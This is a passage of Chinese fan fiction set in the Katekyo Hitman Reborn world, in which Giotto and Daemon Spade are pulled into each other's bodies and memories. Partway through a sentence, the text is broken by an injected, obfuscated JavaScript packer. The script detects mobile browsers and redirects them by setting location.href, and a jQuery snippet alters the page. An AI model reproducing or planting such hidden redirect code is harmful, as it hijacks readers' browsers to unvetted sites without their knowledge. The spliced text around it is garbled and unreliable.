还是好奇？好奇那股力量的来源，好奇少年的身体里到底藏着什么秘密，甚至想要剖开他的胸膛，亲眼看看里面燃烧的到底是怎样的灵魂？ 又或者……是更危险、更致命的认同？仿佛在乔托·彭格列这个贫民窟少年身上，他看到了人类早已丢失的纯粹与勇气，看到了打破这个堕落时代的另一种可能性。 “荒谬。” 戴蒙睁开眼，海青色的眸子里一片冰冷。他伸出手，靛蓝色的雾之炎在指尖燃起。 就在火焰蔓延至小指上的指环的刹那—— 嗡—— 一声低沉厚重的共鸣声骤然在他颅骨内响起。眼前的景象瞬间扭曲，旅馆的墙壁如同融化的蜡烛一样模糊，天花板疯狂地旋转下坠，一股与他自身雾之炎截然不同的力量，裹挟着灼热的温度和明亮的光芒，如同汹涌的海啸般从虚无中席卷而来，狠狠撞进他的意识深处。 “什么——！” 戴蒙试图抓住桌沿，但手指穿过了木板，仿佛变成了幻影。他感到自己的灵魂正在被一只无形的巨手攥住，蛮横地从身体里向外拉扯。视野被橙金色的光芒填满，耳边响起火焰燃烧的噼啪声，还有港口货船的汽笛声、少年们粗重的呼吸声…… 三个小时前，贫民窟深处的旧仓库。 乔托从一张狭窄的木板床上猛然惊醒，浑身被冷汗浸透。他大口喘着气，脑海中挥之不去的依旧是那双眼睛。 那不是宴会上商人达米亚诺·斯佩蒂那双浅棕色的眼睛，而是隐藏在伪装之下的另一双，更诡谲的青色眼睛，像冬天冰封的湖面，冰冷又深不见底。 那双眼睛在梦里注视着他，距离极近，近到能看见瞳孔深处自己苍白的倒影。 “斯佩多……”乔托坐起身，手掌下意识按住胸口。皮肤之下，那股奇异的热量像休眠的火山般隐隐脉动。 仓库外的走廊里，传来几道压抑的争执声。 “……那根本不是人的力量，是魔鬼的力量！我看得清清楚楚，那火太诡异了——” “闭嘴！那火焰救了塞弗诺拉的命，救了我们所有人！没有乔托，我们早就死在卡莫拉手里了！” “可为什么是他？为什么只有乔托能点燃那种火？我们会不会……会不会跟着他一起遭天谴？” 声音压得很低，但在寂静的凌晨依然清晰地钻进乔托的耳朵。他缓缓闭上眼，深吸了一口潮湿的空气，胸口泛起酸涩与无奈。 三天来，这样的疑虑、恐惧以及混在其中的盲目崇拜，如同阴暗角落的霉菌，在自卫团内部悄然滋生。那簇橙金色的火焰确实拯救了他们，却也在他和同伴之间划下了一道无形的界限。 G和塞弗诺拉在尽力压制，但乔托知道，根源在他身上，在他无法解释、无法控制、甚至无法理解的那股力量上。 他缓缓摊开右手，掌心朝上。微弱的天光从天花板的缝隙漏进来，落在他的掌心。掌心纹路清晰，布满了常年劳作留下的厚茧与伤疤，粗糙而坚硬。 可就在这只掌心，就在三天前的夜晚，那一簇耀眼的橙金色火焰曾轰然喷薄而出，带着灼热的温度救下了塞弗诺拉，也改变了他的一切。 “你到底是什么？”乔托低声问自己，问掌心，问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218881|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体内沉睡的那个未知。 就在他自问的时候，左手的小指突然传来一阵尖锐的刺痛，像有一根看不见的针狠狠扎进骨缝。乔托浑身一颤，猛地低下头，目光死死盯着自己的左手小拇指。 不知何时，那里竟然多了一枚指环的虚影，模糊而虚幻，但又带着强烈的存在感。 那虚影呈暗蓝色，戒身缠绕着九条细微的触须状纹路，正缓缓蠕动，寒意顺着皮肤钻进血管，与潜藏的橙金色隐热形成鲜明的对比。 “这是……？” 乔托的手指还没触碰到那枚指环的虚影，世界便瞬间天旋地转，一股强大的力量裹挟着他的意识，瞬间抽离了自己的身体。 仓库里潮湿的泥土气息、铁锈味和霉味瞬间消失，取而代之的是淡淡的熏香和高级木料的醇厚气息，身下坚硬的木板床变成了柔软的羽毛坐垫，视线也从昏暗的仓库天花板，切换成雕刻着繁复玫瑰花纹的石膏天花板。 乔托，或者说，此刻承载着乔托灵魂的这具身体，猛地站起。 他低头，看见一双修长而骨节分明的手。皮肤白皙，指甲修剪整齐，左手小指上戴着一枚正在散发幽光的指环。 他迈开腿，踉跄着扑向房间角落的穿衣镜。 镜中映出一张陌生又熟悉的脸。十七八岁，皮肤苍白，五官锐利如雕刻，一头宵蓝色的头发固定成像冬菇一样的古怪样式，最引人注目的是那双眼睛，此刻因震惊而睁大，但依然能看出原本的形状和颜色，仿佛深邃得能吞没所有光线。 乔托颤抖着抬起手，镜中人也同步抬手，那是一双从未干过粗活的手。他下意识张嘴，镜中人也无声重复着他的口型。直到他集中精神，才听见自己用一种陌生的、略显低沉的嗓音缓缓说道：“……又是你，戴蒙·斯佩多……这次，你又想让我看见什么？” 话音未落，一股陌生的画面突然涌入脑海，清晰得如同亲历的记忆：都灵冬夜，书房炉火旁，艾琳娜按住戴蒙的手背说：“别把他砍掉。” 乔托浑身一震。 这不是他的记忆，却真实得让他指尖发麻。难道这一次，他居然可以看到戴蒙·斯佩多的全部过往？ 还没想明白，房间门外的走廊便传来了极轻的脚步声。 不止一人。 脚步声停在了门外。 钥匙插入锁孔的声音响起。 乔托全身肌肉瞬间绷紧。生存的本能尖叫着警告：危险，杀意，来者不善！